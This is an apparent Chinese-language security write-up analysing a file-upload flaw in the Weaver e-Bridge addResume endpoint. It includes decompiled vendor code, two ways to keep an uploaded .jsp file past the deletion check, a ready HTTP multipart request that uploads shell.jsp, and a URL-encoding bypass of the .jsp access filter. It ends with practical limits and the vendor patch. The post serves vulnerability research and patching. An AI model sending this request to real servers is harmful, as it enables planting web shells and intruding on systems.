谁翻乐府凄凉曲?风也萧萧,雨也萧萧,瘦尽灯花又一宵。
不知何事萦怀抱,醒也无聊,醉也无聊,梦也何曾到谢桥。

环境搭建

官方:https://wx.weaver.com.cn/download
下载:https://wxdownload.e-cology.com.cn/ebridge/ebridge_install_win64_server2008R2_20200819.zip

根据日志可以下载到 2023-08-21 补丁:https://wxdownload.e-cology.com.cn/ebridge/ebridge_patch_20230821.zip

1、右键点击 install64.bat 以管理员身份运行进行程序安装
2、安装完成之后 访问
http://服务器IP:8088
3、登陆系统 sysadmin/1

漏洞分析

addResume文件上传

看到weaver.weixin.app.recruit.controller.ResumeController#addResume

调用 getWxBaseFile 方法进行文件上传
weaver.weixin.core.controller.BaseController#getWxBaseFile

先看一下_filePath的生成
weaver.weixin.base.file.FileUploadTools#getRandomFilePath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static String getRandomFilePath() {
return initFilePath();
}
public static String initFilePath() {
return initFilePath("");
}
public static String initFilePath(String prePath) {
StringBuffer sb = new StringBuffer();
if (GCONST.getFileRootPath() != null && !"".equals(GCONST.getFileRootPath())) {
sb.append(GCONST.getFileRootPath());
} else {
sb.append(PathKit.getWebRootPath() + File.separator + "upload");
}

if (StrKit.notBlank(prePath)) {
sb.append(File.separator + prePath + File.separator + sdf.format(new Date()));
} else {
sb.append(File.separator + sdf.format(new Date()));
}

sb.append(File.separator + getUpEng());
return sb.toString();
}

public static String getUpEng() {
Random r = new Random();
char c = (char)(r.nextInt(26) + 65);
char b = (char)(r.nextInt(26) + 65);
return String.valueOf(c) + String.valueOf(b);
}

很明显文件路径是日期加上随机两位大写字母

接下来调用到 JFinal 的文件上传getFile方法

1
2
3
4
at com.jfinal.core.Controller.getFile
at com.jfinal.core.Controller.getFiles
at com.jfinal.upload.MultipartRequest.<init>
at com.jfinal.upload.MultipartRequest.wrapMultipartRequest

生成文件路径,然后调用com.oreilly.servlet.MultipartRequest#MultipartRequest

如果存在文件上传操作,则会直接writeTo写文件

但是在后续的处理中执行了isSafeFile

1
2
3
4
5
6
7
8
9
10
11
if (this.isSafeFile(uploadFile)) {
this.uploadFiles.add(uploadFile);
}
private boolean isSafeFile(UploadFile uploadFile) {
if (uploadFile.getFileName().toLowerCase().endsWith(".jsp")) {
uploadFile.getFile().delete();
return false;
} else {
return true;
}
}

如果后缀为.jsp,则会删除文件

而在泛微云桥中,重写了该方法\WEB-INF\classes\com\jfinal\upload\MultipartRequest.class

如果后缀存在.jsp,则会删除该文件

逻辑缺陷绕过

姿势一:
该框架存在一个历史漏洞:https://github.com/jfinal/jfinal/issues/171

如果在文件写入之后、触发 isSafeFile 之前发生异常,那么文件就会被保留下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /wxclient/app/recruit/resume/addResume HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: */*
Host: 192.168.111.138:8088
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------439073446803390067215790
Content-Length: 352

----------------------------439073446803390067215790
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<%out.println("test");%>
----------------------------439073446803390067215790
Content-Disposition: form-data: name="test"

test
----------------------------439073446803390067215790--

第二个from-data产生异常即可

姿势二:
文件名是从this.multipartRequest.getFilesystemName(name);中获取到的,参数name为文件上传请求的name值

而 this.files 是用来存储文件上传的键值对的,假如我们上传两个键值一样的文件,那么我们第二个请求的key值就会覆盖掉之前的key值

成功上传

漏洞利用

在访问我们的jsp文件时,发现直接302跳转:Location: /wxapi/erropage?errcode=-15

看到 web.xml 全局配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<filter>
<filter-name>jfinal</filter-name>
<filter-class>com.jfinal.core.JFinalFilter</filter-class>
<init-param>
<param-name>configClass</param-name>
<param-value>weaver.weixin.core.WxJFinalConfig</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>jfinal</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

weaver.weixin.core.WxJFinalConfig#configHandler

weaver.weixin.outsys.api.OutSysProxyHandler#loadProxys

读取WEB-INF\proxy.xml中的配置并加载,注意到

1
2
3
4
5
6
<view>
<pattern>*.jsp</pattern>
<pattern>/weaver/*</pattern>
<pattern>/mobile/plugin/*</pattern>
<pattern>/mobilemode/*</pattern>
</view>

代码方面的处理

1
2
3
4
5
6
7
8
9
10
List<Node> list7 = document.selectNodes("/proxy/includes/view/pattern");
Iterator<Node> it7 = list7.iterator();
while (it7.hasNext()) {
Node element7 = it7.next();
String pattern7 = element7.getText();
if (StringUtils.isNotEmpty(pattern7)) {
view.add(pattern7);
}
}
proxys.put(WxConsts.BUTTON_VIEW, view);

看到 isLocalRequestURL 方法

进行正则匹配,如果匹配到对应的字符串,则直接返回false,这就是为什么不能直接访问.jsp

细心发现匹配的是request.getRequestURI(),我们可以直接URL编码绕过
参考:getRequestURI 导致的安全问题

实战(鸡肋)

这里就要问了,为什么实战不管什么版本都无法复现呢,我们来看一下

后台的基础参数设置中

如果设置了云桥系统文件存放路径,那么在 initFilePath 的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static String initFilePath(String prePath) {
StringBuffer sb = new StringBuffer();
if (GCONST.getFileRootPath() != null && !"".equals(GCONST.getFileRootPath())) {
sb.append(GCONST.getFileRootPath());
} else {
sb.append(PathKit.getWebRootPath() + File.separator + "upload");
}

if (StrKit.notBlank(prePath)) {
sb.append(File.separator + prePath + File.separator + sdf.format(new Date()));
} else {
sb.append(File.separator + sdf.format(new Date()));
}

sb.append(File.separator + getUpEng());
return sb.toString();
}

就会走入if条件内,文件路径为我们设置的存放路径,而默认推荐的路径为:

1
C:\Users\bmth\Downloads\ebridge_install_win64_server2008R2_20200819\ebridge\file

不在web目录下!!!

漏洞修复

下载补丁:https://wxdownload.e-cology.com.cn/ebridge/ebridge_patch_20231116.zip

发现删除了该方法

参考:
浅谈JFinal请求解析过程